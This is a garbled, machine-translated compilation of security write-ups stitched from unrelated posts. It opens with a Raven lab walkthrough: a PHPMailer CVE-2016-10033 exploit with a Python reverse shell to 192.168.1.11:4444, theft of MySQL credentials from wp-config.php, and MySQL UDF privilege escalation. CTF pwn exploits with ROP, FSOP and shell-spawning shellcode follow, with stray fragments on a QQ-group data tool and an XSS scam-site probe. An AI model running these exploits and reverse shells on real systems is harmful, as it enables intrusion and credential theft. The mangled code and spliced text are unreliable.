https://files.pythonhosted.org/packages/86/f9/E80FA23EDCA6C554F1994040064760C12B51DAFF54B55F9E379E899CD3D4/REQUESTSTOULBELT-0.8.8.8.8.0.0.8.0.8.0.8.0.8.0.8.0.8.0.8.8.0.8.8.0.8.8.0.8.0.8.8.0.8.8.0.8.8.0.8.8.0.8.8.0.8.8.0.8.8.0.8.8.

pwtlw55szut8581.png

3。最終的な修正POC:

# - * - coding: utf-8-* -

requests_toolbeltインポートMultipartencoderから

リクエストをインポートします

OSをインポートします

base64をインポートします

LXMLからLHとしてHTMLをインポートします

os.system( 'clear')

印刷( '\ n')

印刷( '█████╗███╗███╗██╗█████╗██████╗' '')

印刷( '███╔════█████╗███═══════██╔════════██╔═════█╖╖════█╖＀)

印刷( '███████║██╔██╗██║███████║██████╔╝██║██║███████║██████╔╝██║██║██║' ')

印刷( '██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║██║██║██║██║')

印刷( '██║██║██║╚████║██║╚████║██║██║██║')

印刷( '╚═╝╚═╝╚═╝╚═══╝╚═╝╚═══╝╚═╝╚═╝╚═╝╚═╝╚═════╝' ')

print( 'phpmailer exploit cve 2016-10033 -anarcoder at protonmail.com')

print( 'バージョン1.0 -github.com/anarcoder-挨拶opsxcq david golunski \ n')

ターゲット='http://192.168.1.12/contact.php'

backdoor='/backlion.php'

payload='?php system(\' python -c '' 'インポートソケット、サブプロセス、OS; s=socket.socket(socket.af_inet、socke.sock_stream); s.connect((\\ '192.168.1.11 \\\'、4444)); os.du p2(s.fileno()、0); os.dup2(s.fileno()、1); os.dup2(s.fileno()、2); p=subprocess.call([\\ '/bin/sh \\'、\\\ ' - i \\ \'] '' '' '\');」

fields={'Action':'送信'、

'name ':ペイロード、

'email':' 'anarcoder \\' -oqueuedirectory=/tmp -x/var/www/html/backlion.php server \ ' @protonmail.com'、

'message':' pwned '}

m=multipartencoder(fields=fields、

boundary='--- webkitformboundaryzxjphsq4mny35the')

headers={'user-agent':' curl/7.47.0 '、

'Content-Type': M.Content_Type}

proxies={'http':' localhost:8081 '、' https':'localhost:8081 '}

print( '[+]ターゲットに邪悪なシェルを送る.')

r=requests.post(ターゲット、data=m.to_string()、

ヘッダー=ヘッダー)

print( '[+]邪悪なシェルの産卵. booom :d')

r=requests.get(ターゲット+バックドア、ヘッダー=ヘッダー)

r.status_code==200:の場合

print( '[ +] Exploited' +ターゲット)

次に、Expを実行すると、contact.phpを使用してファイルが生成されていることがわかります。

b15vk3nn3r18582.jpg

6. contact.php(http://192.168.1.12/contact.php)およびバックドアファイルshell.php nvrxqkrtwvx8583.jpgにアクセスしてください

7。その後、バックドアファイルにアクセス:http://192.168.1.12/shell.php

agx4n35rvd08584.png

8。NCサーバーをオンにして、サーバー上のリバウンドシェルを聞いて取得します

nkjwmipuxhs8585.jpg

9。WordPressディレクトリに構成ファイルを入力します。次に、データベース構成接続情報を確認します

CD/var/www/html/wordpress

catwp-config.php

4y2niyfen1x8586.png

i3sgra00ldc8587.png

10。mysqlの実行許可を確認します(mysqlがルートとして実行され、mysqlのプラグインディレクトリも表示されることがわかります)

ps -ef | grep mysql

tm3eemdzhvy8588.png

11.MySQLデータベース端末を入力すると、データベースバージョンまたはプラグインディレクトリを表示できます

www -data@raven:/var/www/html/wordpress $ mysql -u root -pr@v3nsecurity

z23ecxqsupq8589.png

12。NCモードのシェルはSUの相互作用をサポートしていません。最初にPythonを使用して擬似末端に改善します

python -c 'インポートpty; pty.spawn('/bin/bash ')'

Webサイトディレクトリページを入力して、flag2.txtを見つけます

CD/var/www

catflag2.txt

iral20mi2yr8590.jpg

13。次に、フラグをグローバルに検索します。

www -data@raven:/var/www/html $ find/-name 'flag*'

画像であるflag3を見つけ、直接アクセスhttp://192.168.1.13/wordpress/wp-content/uploads/2018/11/flag3.pngを見つけます

q4miwehy45h8591.png

14。その後、 /TMPディレクトリに切り替えて、Linenum.shスクリプトをダウンロードします。これは、多くの基本的および高度なLinuxの詳細を列挙するために使用されるスクリプトです。

CD/TMP

wgethttp://192.168.1.109/linenum.sh

Chmod777linenum.sh

./linenum.sh

be2rw5ut2g08592.jpg

MySQL-Exploit-Remote-Root-Code-Code-Execution-Privecの脆弱性を発見しました! (詳細:https://legalhackers.com/advisories/mysql-exploit-remote-root-code-execution-privesc-cve-2016-6662.html)

rqwz2qugwcg8593.jpg

15.次に、電力EXPのエスカレーションを使用してhttps://www.exploit-db.com/exploits/1518を使用して、攻撃マシンでSOファイルをコンパイルして生成します。

root@kali2018:〜#wgethttp://192.168.1.5/raptor_udf.c#kaliシステムは64ビットシステムでなければなりません。そうしないと、エラーが報告されます。

root@kali2018:〜#gcc -g -c raptor_udf.c

root@kali2018:〜#gcc -g -shared -oraptor_udf.so

raptor_udf.o -lc

x3kn4ugpa0c8594.png

16.攻撃マシンからEXPファイル:RAPTOR_UDF2.SOをダウンロードしてください

www-data@raven:/var/www/html/wordpress $ cd/tmp

www-data@raven:/tmp $ wget http://192.168.1.11:8080/raptor_udf2.so

awzvifu45mz8595.png

次に、MySQLを使用してUDFをエスカレートします(SQLステートメントを実行します。ここで、DumpFileへのパスは前のプロセスにリストされているプラグインディレクトリに基づいています(Plugin-Dir=/usr/lib/mysql/plugi

1。 pwn

1.nullulllllu

libc_baseを直接与えた場合、任意の住所に一度に\ x00を書き込みます。

io_2_1_stdinの_io_buf_baseの終わりを直接変更します。_io_buf_baseは、io_2_1_stdinの_io_write_baseを指します。次に、GetChar関数を使用して書き込み操作をトリガーしてIO_BUF_BASEをIO_2_1_STDOUTに変更し、GETCHAR関数を使用して書き込み操作をトリガーしてApple2をstdoutに書き込みます。 printf関数は、Appl2 Get Shellをトリガーします。

exp

PWNインポートから *

Struct Import Packから

ctypesからインポート *

base64をインポートします

サブプロセスのインポート実行から

#from libcsearcherインポート *

Struct Import Packから

TTYをインポートします

def debug(c=0):

if(c):

gdb.attach(p、c)

else:

gdb.attach(p)

一時停止()

def get_sb(): return libc_base + libc.sym ['system']、libc_base + next(libc.search(b '/bin/sh \ x00'))

#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

S=Lambdaデータ: P.Send(データ)

sa=lambdaテキスト、データ:p.sendafter(テキスト、データ)

SL=Lambdaデータ:p.sendline(data)

sla=lambdaテキスト、データ:p.sendlineafter(テキスト、データ)

r=lambda num=4096 :p.recv(num)

rl=lambdaテキスト:p.recvuntil(テキスト)

pr=lambda num=4096 :print(p.recv(num))

inter=lambda :p.interactive()

l32=lambda :U32(p.recvuntil(b '\ xf7')[-4:] .ljust(4、b '\ x00'))

l64=lambda :U64(p.recvuntil(b '\ x7f')[-6:] .ljust(8、b '\ x00'))

uu32=lambda :u32(p.recv(4).ljust(4、b '\ x00'))

uu64=lambda :u64(p.recv(6).ljust(8、b '\ x00'))

int16=lambdaデータ:INT(データ、16)

LG=Lambda S、num :p.success( '%s -0x%x'%(s、num))

#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Context(os='linux'、arch='amd64'、log_level='debug')

p=remote( 'ctf2024-entry.r3kapig.com'、30371)

#p=remote( '127.0.0.1'、9999)

elf_patch='./chall'

#p=process(elf_patch)

elf=elf(elf_patch)

libc=elf( './libc.so.6')

SLA(b ''、b'1 ')

rl(b'0x ')

libc_base=int(r(12)、16)# +0x6d80

環境=libc_base + libc.sym ['__環境']

システム、binsh=get_sb()

stdin=libc_base + libc.sym ['_ io_2_1_stdin_']

stdin_io_buf_base=stdin + 7*8

stdin_old_value=stdin +0x83

stdout=libc_base + libc.sym ['_ io_2_1_stdout_']

stderr=libc_base + libc.sym ['_ io_2_1_stderr_']

#ステップ2 : printf -stdout -house of apple2

システム、binsh=get_sb()

_io_wfile_jumps=libc_base +0x202228

base_addr=stdout

fake_io=b 'sh; \ x00 \ x00 \ x00'

fake_io=fake_io.ljust(0x68、b '\ x00')

fake_io +=p64(system)

fake_io=fake_io.ljust(0x88、b '\ x00')

fake_io +=p64(base_addr +0x5000)#_lock

fake_io +=p64(0)*2

fake_io +=p64(base_addr)

fake_io=fake_io.ljust(0xd8、b '\ x00')

fake_io +=p64(_io_wfile_jumps -0x20)

fake_io=fake_io.ljust(0xe0、b '\ x00')

fake_io +=p64(base_addr)

SLA(b ''、b'2 ')

SLA(b'mem: '、hex(stdin_io_buf_base)))

#debug( 'b *$ rebase(0x12c3)')

sa(b ''、p64(stdin_old_value)*3 + p64(base_addr) + p64(base_addr + len(fake_io) + 1))

睡眠(1)

SL(fake_io)

lg( 'libc_base'、libc_base)

inter()

Pause()

2。フォレンジック

1.tpa 01

E01ミラーは火の目に直接投げられ、ネストされた証拠を分析します

1049983-20241005123634198-863951153.jpg

実際、私がこの質問をしていたとき、分析プロセスは非常に複雑でした。私は複雑すぎると感じました。その理由は、私が経験が少なすぎたからです。私もそれをシミュレートし始めました。

フォルダをめくるときは、WSLを見つけて、ネストされた証拠を組み合わせます。予想されるソリューションは、このシステムを復元することであるべきだと思います。

1049983-20241005123635438-1986591366.jpgしかし、幸いなことに、証拠収集ツールがあります。あなたはそれを回復せずにそれをすることができます。ファイルシステムを慎重に検索しなかったため、以下は私が見つけた別の方法です。

010 ciphertextを掘り出すだけです

1049983-20241005123636208-712348146.jpg

しかし、あなたはそれを火の目で直接見ることができ、あなたはまた、キーについてのプロンプトを見ることができます。

1049983-20241005123636839-420522205.png

鍵:

YouTubeでビデオを見るのが好きですか?

F14G:

こんにちはプレーヤー、ようこそ!Ops、それは何ですか?

プロンプトに応じて、どこかから何かを選択してください私はそれがSQLステートメントと関係があるはずだと思います

最初にキーで言及されているビデオを見てみましょう

1049983-20241005123637427-1989273656.jpg文字列があります。来て、見てください

0x6D617962652075206E6565642C746861742773206E6F74206162736F6C7574650A726F6F743A5040357357307264446464466F7255

たぶんあなたは必要です、それは絶対的ではありません

root:p@5SW0RDFORU 1049983-20241005123638116-1629312263.pngにパスワードが与えられました。 MySQLにログインして、正常にログインしてください。

1049983-20241005123638719-878532988.png 1049983-20241005123639290-416150928.pngSelect * Secretから。1049983-20241005123640012-298815255.jpg 1049983-20241005123640629-927545123.jpg

ffd8の頭、一目、jpg画像、保存、aes復号化キーを与える

実際、プロジェクトIBD2SQLを使用して、データベースSecret.ibdを復号化することもできます。1049983-20241005123641303-237871512.png 1049983-20241005123642062-415239806.jpg

2.tpa 02

2つの部分:1つは攻撃者の携帯電話番号を見つけることです。もう1つはペギーのログインパスワードを見つけ、最初にトラフィックを見て、TCPフローを直接追跡し、31番目のフローでログインログインページを見つけます

image-20240611170304555

最初のフラグは、Android電話がSMSメッセージを保存する場所から見つかります

image-20240611170358276

指定された携帯電話フォルダーを見てください。 Fire Eyeを使用して、2つの携帯電話番号を分析します。

1049983-20241005123644087-129601060.pngコンテキストによると、その数は15555215556であることを知ることができます。これはペギーの同僚であるはずです。ペギーがフィッシング情報を受け取ったかどうかを尋ねてください。

次に、以下の1555215558は攻撃者の携帯電話番号になるはずです。直接結合されます。

R3CTF {15555215558_L0V3_AND_PEACE}

iii。ミス

1.Blizzard CNが再起動

ShadowEditorを使用

1049983-20241005123644830-198434124.jpg

image-20240611170732676

image-20240611170748000

2.hideandseek

ベンは、かくれんぼをするのが大好きな超大国です。彼は誰も彼を見つけることができない場所にどこにでもテレポートすることができますが、彼は彼の能力が特定の範囲内でのみ機能することに気づいていないようです

ルール:

愛らしいベンは、(0、-50、0)から(128、50、128)の範囲内にのみ表示されます。

ベンは10秒ごとになり、10秒後に新しい場所に再び現れます。

すべてのプレーヤーが任意の座標にテレポートするために「newtp」が追加されました。

Info: 34.81.163.238を接続します

バージョン1.19.2は非常に抽象的なMCゲームの質問です。最初は、PCL2エミュレーターを使用してゲームに参加してプレイしました

image-20240611194137010

NewTPコマンドを提供していることがわかりました。また、MCのTPコマンドの使用方法を学ぶために多くのチュートリアルをチェックしましたが、役に立たないことがわかりました。私はしばらくの間地図を歩き回りました。

Newtpを使用して、いくつかの座標を送信します。コマンド形式は次のとおりです

送信される座標(x、y、z)

newtp x y zログログファイルを直接フリップしてフラグを見つけます

image-20240611194432924

丸太を読んでください、そしてあなたは「ベン」の体タイプが村人であるべきであることがわかります、そして彼の名前は旗です

r3ctf {jus7_play_m0r3_h1de_2nd_seek_w1th_ben}

3.transit

1049983-20241005123648414-1514241253.jpg

撮影場所に非常に似ているB Stationのビデオでカバーを検索します。 19行目に沿ってPOVを見つけます。ビデオbv1ie411m7avは撮影場所です。フレームごとにフレームを再生し、3:35で見つけてください。R3CTF{Hangzhou_Zhixing_road_Station}

1049983-20241005123649086-1267414652.jpg

Hint:S1611およびS1613は、列車ではなく、信号光の数になります。 https://www.cnblogs.com/qq2962269558/p/12743383.htmlは、アップリンクとダウンリンク(x)を使用して列車の方向を定義します。電動駆動型EMU

4.礼拝堂

0.85を超える場合は、間違いなく1です。

frommpwnimport*

p=remote( 'ctf2024-entry.r3kapig.com'、31395)

Foriinrange(500):

a=p.recvuntil(b'top_10_pred: [')

b=p.recvuntil(b ']')

b=b.decode()。置換( '['、 '')。置換( ']、' ')。分割('、 ')

c=float(b [0])

IFC=0.9:

p.sendlinefter(b'isthispictureinthetrainingset? '、b'1')

else:

p.sendlinefter(b'isthispictureinthetrainingset? '、b'0')

print(f'no。{i}={c}、num={num} ')

flag=p.recvline()

印刷(フラグ)

P.Close()もちろん、スコープは合理的に変更できます

1049983-20241005123649655-2063342577.jpg

r3ctf {cain_like_a1_4nd_rec_8772b609d39f}

5.hideandseek

不正行為は数秒です

1049983-20241005123650262-888396391.jpg

非常に優れた村人、私の視点と追跡回転を作ってください

6.h1de@ndse3k

MCがブロックをレンダリングすると、ログが数秒で表示されるように記録されます。

1049983-20241005123650893-1618764647.jpg CEを使用して、java.exeプロセスには「R3CTF」、「R3CTF」、「フラグ」が多いことを確認します。村人の名前は記憶の中で単純なテキストに保存されていると推測されています。写真を実行した後、

1049983-20241005123651685-445066128.jpgp.s.テスト後、旅行マップ(Journeymap-1.19.2-5.9.8-fabric)をロードした後にのみ、村人の名前を記憶に載せることができます。旅行地図にいくつかのクリーチャーNBTを記録することは合理的です。

または旗を爆破するだけです()

1049983-20241005123652376-1919325320.jpg

7.壁をbehind

defcallback(re):

Re=5

re=getattr(getattr(getattr( 'a'、f'e {f'n '} c {f'o'} d {f'e '}')()( )、f'f {f'r '} o {f'm'} h {f'e '} x')(f '{re} f')、f'd {f'e '} c {f'o'} d {

1。データベースを構成します(300GB以上の残りのディスクスペースが必要です)

SQLSERVER2008R2をダウンロードしてインストールし、ユーザー名とログインパスワードを構成します。データベースにリモートで接続されている場合は、リモートログインを許可するようにデータベースを構成する必要があります(SQLServer Database構成、自分でチュートリアルを検索してください)。ダウンロードされた圧縮パッケージを解凍し、データベースバックアップファイルを取得し、データベースバックアップファイルをSQLServerに復元します(SQLServer Recovery Database Recovery操作、自分でチュートリアルを検索してください。 webpack-dev-server1。グローバルインストールWebpack

NPMインストールwebpack -g

1049983-20201021210501161-1410824262.png2。 Webpack-dev-serverをグローバルにインストールします

npm Webpack-dev-server -G 1049983-20201021210501551-597433613.png :010101。プロジェクトソースコードをダウンロード:3https://github.com/backlion/qqgroup-visualization2。 Project Directory 1049983-20201021210501952-575279606.png3を入力します。 db.jsonファイルを開き、データベース接続情報を独自のデータベース接続情報に変更します(デフォルトのデータベース接続情報は自分のサーバーのデータベースであり、利用可能になることは保証されていません)db.jsonの例:{{{

'Server':'サーバーアドレス '、

「データベース」: 'データベース名'、

'user':'ユーザー名を入力してください '、

'password ':'データベースユーザーパスワードを入力してください '

}

2。サーバーを構築します(nodejsを必要とするオペレーティングシステム、CPU 1コアの上に残っているメモリ1GB以上)

1。プロジェクトディレクトリ1049983-20201021210502421-1106638147.png2を入力します。インストール依存関係

NPMインストール1049983-20201021210502815-1920716489.png3。ランニングシステム

npm run start 1049983-20201021210503247-1543179577.png 1049983-20201021210503607-885288276.png注:sqlserverのバージョン以降のsqlserver2008r2を使用してください

QQ番号フィールドとグループ番号フィールドにインデックスを追加するだけで、クエリ速度を最適化します

crypto

xor

1.環境を一連の文字として開きます。文字列は、XORスクリプトまたはオンラインデコードツール(1つの暗号化のみ)を使用してデコードできます

キーは模倣です

uemkso1oxfl812.png

フラグを復号化します

オンライン復号化

bpeomgpgwsm814.png

またはスクリプト:#ciphertext ciphertext='0b050c0e180e585f5c52555c55454545c0a0f44535f0f0f5e445658585844055d0f5d0f0f0f555590555555555550914 "=bytes.fromhex(ciphertext)#キーが「キー」であると仮定すると、キー=b'mimic '#xorを変更できます。文字列にバイテを文字strinexextextextext=plantext_bytes.decodes.decodes( 'utf-8')print( 'utf-8')print(plaintext)1049983-20241029164628741-2140565532.jpg

pwn

ezcode

JSONのダイレクトシェルコードの復活したjsonのダイレクトシェルコードのセット、長さ0x16を制限します。

PWNインポートから *

JSONをインポートします

コンテキスト(log_level='debug'、os='linux'、arch='amd64')

pwnfile='./vuln'

io=process(pwnfile)

#io=remote()

elf=elf(pwnfile)

libc=elf( '/lib/x86_64-linux-gnu/libc.so.6')

#libc=elf( './libc.so.6')

shellcode='' '

Sal Edi、12

MOV DX、7

MOV AX、10

syscall

CDQ

Xor Eax、Eax

MOV ESI、ECX

Xor EDI、EDI

syscall

'' '

shellcode1=asm(shellcode)

print( 'len-'、len(shellcode1))

payload1={

'shellcode': shellcode1.hex()

}

io.sendlineafter( 'input:'、json.dumps(payload1)を入力してください)

shellcode=asm( '' ''

MOV RDI、0x999800d

Xor ESI、ESI

XOR RDX、RDX

Mov Rax、2

syscall

MOV RDI、Rax

MOV RSI、0x9998000+0x300

MOV EDX、0x40

Xor Eax、Eax

syscall

MOV EDI、1

MOV RSI、0x9998000+0x300

Mov Rax、1

syscall

'' ')

io.sendline(b './flag \ x00 \ x00 \ x00'+シェルコード)

io.Interactive()

signin_revenge

スタックオーバーフロー、パイなし、カナリアなし、rop漏れのある住所を構築してからORW

PWNインポートから *

コンテキスト(log_level='debug'、os='linux'、arch='amd64')

pwnfile='./vuln'

#io=process(pwnfile)

io=remote( 'pwn-16255a8951.challenge.xctf.org.cn'、9999、ssl=true)

elf=elf(pwnfile)

libc=elf( './libc.so.6')

def debug():

gdb.attach(io)

一時停止()

pop_rdi=0x00000000401393

puts_got=elf.got ['puts']

puts_plt=elf.plt ['puts']

main_adr=elf.symbols ['main']

#デバッグ()

pay=b'a '*0x108+flat(pop_rdi、puts_got、puts_plt、main_adr)

io.sendlineafter( '移動してpwn!\ n'、支払い)

puts_adr=u64(io.recvuntil( '\ x7f')[-6:] .ljust(8、b '\ x00'))

libc_base=puts_adr-libc.sym ['puts']

pop_rdx=libc_base +0x00000000142c92

pop_rsi=libc_base +0x00000000002601f

pop_rbp=libc_base +0x0000000000226c0

pop_rax=libc_base +0x0000000000036174

leave_ret=0x4012ee

read=0x04012d6#0x130

BSS=0x404000+0x800

flag_adr=bss+0x98

op=libc_base + libc.symbols ['open']

re=libc_base + libc.symbols ['read']

wr=libc_base + libc.symbols ['write']

pay=b'a '*0x100+p64(bss-8)+flat(pop_rax、bss、read)

io.sendafter( '移動してpwn!\ n'、支払い)

#デバッグ()

orw=flat(pop_rdi、flag_adr、pop_rsi、0、op、

pop_rdi、3、pop_rsi、flag_adr+0x200、pop_rdx、0x100、re、

pop_rdi、1、pop_rsi、flag_adr+0x200、pop_rdx、0x40、wr)+b './flag \ x00'

io.sendline(orw)

io.interactive()

qwen

2b3cf38193ce3750b491914d11006e83

MEMUポインター、および境界を越えて0x20バイトに書き込むことができます。

次に、バックドアを使用して/proc/self/mapsを読んでメモリ情報を取得し、libc_baseを介して2つのガジェットを取得します

0x000000000000004EE21 : POP RDX; RSP、0x38を追加します。ポップrbx; POP RBP; ret

0x0000000000000D10BE : XOR EAX、EAX; RSPを追加、8; ret

メニューポインターをポップrdxとしてハイジャックします。 RSP、0x38を追加します。ポップrbx; POP RBP; ret、読み取りによって書かれた0x20バイトにジャンプし、システム( "/bin/sh")を実行してシェルを取得します

exp

PWNインポートから *

def debug(c=0):

if(c):

gdb.attach(p、c)

else:

gdb.attach(p)

一時停止()

def get_sb(): return libc_base + libc.sym ['system']、libc_base + next(libc.search(b '/bin/sh \ x00'))

#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

S=Lambdaデータ: P.Send(データ)

sa=lambdaテキスト、データ:p.sendafter(テキスト、データ)

SL=Lambdaデータ:p.sendline(data)

sla=lambdaテキスト、データ:p.sendlineafter(テキスト、データ)

r=lambda num=4096 :p.recv(num)

rl=lambdaテキスト:p.recvuntil(テキスト)

pr=lambda num=4096 :print(p.recv(num))

inter=lambda :p.interactive()

l32=lambda :U32(p.recvuntil(b '\ xf7')[-4:] .ljust(4、b '\ x00'))

l64=lambda :U64(p.recvuntil(b '\ x7f')[-6:] .ljust(8、b '\ x00'))

uu32=lambda :u32(p.recv(4).ljust(4、b '\ x00'))

uu64=lambda :u64(p.recv(6).ljust(8、b '\ x00'))

int16=lambdaデータ:INT(データ、16)

LG=Lambda S、num :p.success( '%s -0x%x'%(s、num))

#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Context(os='linux'、arch='amd64'、log_level='debug')

p=remote( 'pwn-bc7e9f0275.challenge.xctf.org.cn'、9999、ssl=true)

#p=process( 'pwn1')

elf=elf( 'pwn1')

libc=elf( 'libc.so.6')

#debug( 'b *$ rebase(0x1022)\ n')

範囲のIの場合(5):

sla(b '\ xbc \ x89 \ xef \ xbc \ x9a'、str(i) + '0')

pl=b'a '*0x8 + p16(0x1508)

sa(b'say? '、pl)

sla(b'game [y/n] '、b'n')

sla(b '\ xbc \ x89 \ xef \ xbc \ x9a'、 '111 111')

SLA(b'administrator key \ n '、str(0x6b8b4567))

file_name=b '/proc/self/maps'

sla(b'logged in!\ n '、file_name)

rl(b'デバッグ情報は次のとおりです\ n ')

pro_base=int(r(12)、16)

rl(b'libc.so.6 \ n ')

libc_base=int(r(12)、16)-0x1e7000

lg( 'pro_base'、pro_base)

lg( 'libc_base'、libc_base)

範囲のIの場合(5):

sla(b '\ xbc \ x89 \ xef \ xbc \ x9a'、str(i) + '0')

#0x00000000000004EE21 : POP RDX; RSP、0x38を追加します。ポップrbx; POP RBP; ret

#0x000000000000D10BE : XOR EAX、EAX; RSPを追加、8; ret

rdi=libc_base +0x00000000002164f

システム、binsh=get_sb()

ret=libc_base +0x00000000000000008aa

one_gadget=libc_base +0x00000000000004ee21

PL=P64(LIBC_BASE +0x000000000000D10BE) + P64(ONE_GADGET) + P64(RET) + P64(RDI) + P64(BINSH) + P64(システム)

sa(b'say? '、pl)

sla(b'game [y/n] '、b'n')

sla(b'\xbc\x89\xef\xbc\x9a', '111 1111111111111111111111111111111111111111111111111')

lg( 'pro_base'、pro_base)

lg( 'libc_base'、libc_base)

#一時停止()

inter()、そして電力をエスカレートします。

ターゲットマシンのPWN2は、脱落し、許可を持つ可能性があり、-Xが存在しないファイルを指している場合、-Xを作成して解凍できます。

例えば

/home/pwn2 -x test.tarには、base64が入力され、ローカルに生成されたtarパッケージが必要です

Dockerの質問は通常xinetdを使用してXinetDの構成ファイルを表示するため、/usr/bin/chrootを使用してルートからCTFユーザーに切り替えるため、Chmox 777/home/ctf/flagに変更/usr/bin/chrootを変更してから、別の末端NC、トリガーchrootを使用します。

signin

追加関数には0_O関数があり、Signin_Revengeと同じスタックオーバーフローがあります。これを使用して、直接ヒットすることができます。

PWNインポートから *

ctypesをインポートします

ctypesからインポート *

コンテキスト(arch='amd64'、os='linux'、log_level='debug')

file_name='./vuln'

libc=elf( './libc.so.6')

#libc=ctypes.cdll( '/lib/x86_64-linux-gnu/libc.so.6')

#libc.srand.argtypes=[ctypes.c_uint]

Li=Lambda X : Print( '\ x1b [01; 38; 5; 214m' + str(x) + '\ x1b [0m')

ll=lambda x : print( '\ x1b [01; 38; 5; 1m' + str(x) + '\ x1b [0m')

#context.terminal=['tmux'、 'splitw'、 '-H']

debug=1

debug:の場合

r=remote( 'pwn-c9b9d9e4e9.challenge.xctf.org.cn'、9999、ssl=true)

else:

r=process(file_name)

libcc=cdll.loadlibrary( './libc.so.6')

libcc.srand(libcc.time(0))

elf=elf(file_name)

def dbg():

gdb.attach(r)

一時停止()

def dbgg():

raw_input()

r.send( 'rbp')

範囲(100):のIの場合

a=libcc.rand()%100+1

r.sendafter( '認証コード: \ n'、p64(a)を入力)

r.sendafter( '\ n'、p32(1))

#dbg()

r.sendafter( 'index: \ n'、p32(0))

r.sendafter( 'note: \ n'、b'a '*0x10)

睡眠(0.5)

r.send(b'a '*0x108+p64(0x401893)+p64(0x404028)+p64(0x401110)+p64(0x4013c0)))

libc_base=u64(r.recvuntil( '\ x7f')[-6:] .ljust(8、b '\ x00'))-libc.sym ['puts']]

openn=libc_base+libc.sym ['open']

read=libc_base+libc.sym ['read']

書き込み=libc_base+libc.sym ['write']

rdi=libc_base +0x0000000000023b6a

rsi=libc_base +0x00000000002601f

rdx=libc_base +0x00000000142c92

印刷(hex(libc_base))

r.send(b'a '*0x108+p64(rsi)+p64(0x404180)+p64(read)+p64(0x4013c0))

r.send( 'flag')

睡眠(0.5)

r.send(b'a '*0x100+p64(0x404200)+p64(0x4013cf))

睡眠(0.5)

r.send(b'a '*0x100+p64(0x404300)+p64(0x4013cf))

睡眠(0.5)

#dbg()

R.Send(b'flag \ x00 \ x00 \ x00 \ x00 '+p64(RDI)+P64(0x404200)+P64(RSI)+P64(0)+P64(RDX)+P64(0)+P64(Openn)+P64 (RDI)+P64(3)+P64(RSI)+P64(0x4041A0)+P64(RDX)+P64(0x30)+P64(READ)+P64(RDI)+P64(RDI)+P64(1)+P64(書き込み)))

R.Interactive()

ゲストブック

メニューヒーププログラムにはUAFがあり、アプリケーションサイズの制限は0x4ff以上です。他の制限はありません。その後、ボードとタイプハウスのアップルを置くだけです

PWNインポートから *

sysをインポートします

context.log_level='debug'

context.arch='amd64'

#libc=elf( '/lib/x86_64-linux-gnu/libc.so.6')

libc=elf( './libc.so.6')

フラグ=1

flag3360の場合

p=remote( 'pwn-ca43b7414f.challenge.xctf.org.cn'、9999、ssl=true)

else:

p=process( './pwn')

SA=Lambda S、N : P.Sendafter(S、N)

SLA=Lambda S、N : P.SendlineFter(S、N)

SL=Lambda S : P.Sendline(s)

sd=lambda s : p.send(s)

rc=lambda n : p.recv(n)

ru=lambda s : p.recvuntil(s)

ti=lambda : p.Itteractive()

漏れ=ラムダ名、addr :log.success(name+' - '+hex(addr))

def dbg():

gdb.attach(p)

一時停止()

DEF CMD(選択):

ru( '')

SL(str(選択))

def add(index、size):

CMD(1)

ru( 'index')

SL(str(index))

ru( 'サイズ')

SL(str(size))

def編集(index、content):

CMD(2)

ru( 'index')

SL(str(index))

ru( 'content')

SD(コンテンツ)

def delete(index):

CMD(3)

ru( 'index')

SL(str(index))

def show(index):

CMD(4)

ru( 'index')

SL(str(index))

追加(0,0x520)

追加(1,0x500)

追加(2,0x510)

削除(0)

追加(3,0x568)

削除(2)

show(0)

mainarean=u64(ru(b '\ x7f')[-6:] .ljust(8、b '\ x00'))

libc_base=mainarean-0x21b110

編集(0、b'a '*0x10)

show(0)

ru(b'a '*0x10)

heap_base=u64(p.recv(6).ljust(8、b '\ x00'))-0x290

編集(0、P64(メイレアン)*2)

free_hook=libc_base+libc.sym ['__ free_hook']

ogs=[0xe3afe、0xe3b01,0xe3b04]

og=libc_base+ogs [1]

puts_io_all=libc_base + libc.sym ['_ io_list_all']

wfile=libc_base + libc.sym ['_ io_wfile_jumps']

addr=libc.symbols ['puts']+libc_base

fake_io_addr=heap_base +0x1720

lock=0x3ed8b0+libc_base

pop_rdi=libc_base + next(libc.search(asm( 'pop rdi; ret;'))))))

pop_rsi=libc_base + next(libc.search(asm( 'pop rsi; ret;')))))

pop_rdx_r12=libc_base + next(libc.search(asm( 'pop rdx; pop R12)

序文

私は映画を見るのが好きですが、無料でセックスをするのが好きなので、映画やテレビのサイトをよく見て、時にはいくつかの怠zyな広告がポップアップします。最近、私は公式アカウントをあまり更新していないので、Pを作るのが面倒な広告を見つけました。スケールは比較的大きいため、コーディングに真剣です。

簡単な要約

Lazy Video ---外部Xステーションの再生ソース图片 2を引用します。 Xを選択します----バックエンドは、都市とBaiduからの写真のすべての厄介な紹介です。偽物3。バックエンドデータを投稿しています图片

実用的な戦闘体験

ドメイン名検索、XXエンターテインメント、およびソースコードの波に囲まれた壁に取り付けられた背景を見つけました。同様のソースコードと構築されたチュートリアルを見つけました。サイトのIPが漏れました。一般的なサイトのデモンストレーションには、デモンストレーションアカウントのパスワードバックエンドとさまざまな指紋機能が添付されています。图片デモサイトの指紋およびデフォルトアカウントパスワードを介して、同じタイプのサイトのバッチを見つけました。基本的に、私はカラーレイジービデオを使用して、ほうれん草を誘導しました。图片背景宝くじプリセット、すべての詐欺。この記事をあなたの色の怠zyな友達と共有したいと思っています。图片初期段階では、デモサイトの指紋を見つけるためのソースコードを見つける方法を見つけました。一部のサイトもありますが、これは通常の浸透方法です。まず、アカウントを登録し、ユーザー名をカスタマイズしてXSコードに直接配置できるプロンプトを確認します。それはお金の無駄であり、背景を引き起こすのは困難です。背景をトリガーするのは困難です。图片バックグラウンドでのユーザーディスプレイはこのようなものであり、ユーザーの詳細をクリックすると图片 图片もトリガーされます。图片

元のリンクから転載:https://mp.weixin.qq.com/s/iiyt-m1ul0upxvocmwcfag

1。序文

次の検出スクリプトを列に示します。

リクエストをインポートします

urllib3をインポートします

RE、文字列、ランダムをインポートします

urllib.parseインポートurljoinから

argparseをインポートします

インポート時間

SSLをインポートします

ssl._create_default_https_context=ssl._create_unverified_context

urllib3.disable_warnings(urllib3.exceptions.insecurerequestwarning)

def banner():

print()

印刷(r '' ''

